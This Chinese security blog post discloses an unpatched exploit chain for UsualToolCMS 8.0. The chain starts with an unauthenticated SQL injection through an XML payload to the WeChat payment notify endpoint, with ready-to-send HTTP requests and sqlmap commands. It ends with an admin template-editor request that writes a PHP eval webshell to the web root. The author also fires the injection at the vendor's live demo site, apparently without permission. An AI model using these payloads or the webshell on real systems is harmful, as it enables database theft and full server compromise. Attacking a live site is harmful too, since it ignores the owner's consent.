UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell
2020-01-03 10:23:05 Author: xz.aliyun.com(查看原文) 阅读量:331 收藏

[TOC]

填上上一篇文章sdcms v1.9 后台getshell里的坑,好不容易啊

刚挖出来的0day,今天是12.30号,也是我2019年最后一篇文章了,没有下集预告了,也不给自己挖坑了。明年的事明年再说,祝大家新年快乐……

这套cms的注入点看完后会发现很简单,傻子都会……主要就是花了很多时候去找到了这个地方

审过这套cms的会发现,他的过滤是用了什么sqlcheck啥的来实现的,我开始审的时候就被这函数给唬住了,,其实,人不要自己难为自己,非得去和这个过滤函数来较劲来想办法来绕过,何必呢

2.1 漏洞发现

在payment/wechat/notify.php第7行开始:

主要关注点:
第7行的$xml = file_get_contents("php://input");
第10行的$result = WxPayResults::Init($xml);
第20行的$out_trade_no = $result["out_trade_no"];
第28行的$query="SELECT * FROM cms_order WHERE ordernum='$out_trade_no' and state='0'";

看他这架势,感觉应该是解析传入的xml格式的数据,然后带到数据库执行

这个时候,我个人的想法是不要傻不啦叽的去跟这个WxPayResults::Init,直接黑盒测一下关键字有没有被过滤不就完了吗(要是有师傅就是想跟一下,然后发现了xxe,就当我没说,我确实也没看这个init方法)

我在第10行后面直接加入了print_r($result);exit;
测试过程如下图:


第一个图,,说明了啥也没过滤……但是并没有out_trade_no,只是个0
所以我就寻思再套一层就行了,就是第二个图了,这就有$result["out_trade_no"]了

这就一个很明显的注入点了

2.2 sqlmap出数据

送佛送到西,我写注入就非得把怎么获取数据写出来,不然憋得难受==

直接抓包然后用星号指定位置是跑不出来的……

这里就是数据表是空的,sleep多少都是0,然后其他的注入方法应该也不支持

一般对于sleep的注入,我个人的习惯是,能让他返回一列就一列,实在不好整就是调sleep的时间

这个地方显然是可以联合查询一下子,让他返回一列,然后再sleep即可

修改一下注入的数据包:

POST /UsualToolCMS-8.0-Release/payment/wechat/notify.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 101

<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 *#</out_trade_no></aa>

然后再用sqlmap注入应该就行了

(我这里实际上出了点小问题,一开始一路回车就是跑不出注入,后来在图片里的[16:05:43]这个地方选的n就出来了,这个地方大家要是很顺利的话就不用管了……)

2.3 官网demo测试

数据包:

POST /demo/payment/wechat/notify.php HTTP/1.1
Host: cms.usualtool.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: UTCMSLanguage=zh; PHPSESSID=f24fbm52li884ocv974oc22ve2
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 *#</out_trade_no></aa>

sqlmap.py -r ../2.txt --dbms=mysql --technique=T

sqlmap.py -r ../2.txt --dbms=mysql --technique=T --current-user

在cmsadmin/a_templetex.php的前面几行

这就没啥好说的了

访问127.0.0.1/UsualToolCMS-8.0-Release/cmsadmin/a_templetex.php?x=m
post:
filename=123.php&content=<?php eval($_POST[1]);?>

一句话就在网站根目录了

然后a_templetex.php里面还有个任意文件读取

其实还有一个注入点,没写出来,套路和这个注入点完全是一模一样……也没啥可写的

最后,,唉,不说了,新年快乐


文章来源: http://xz.aliyun.com/t/7033
如有侵权请联系:admin#unsafe.sh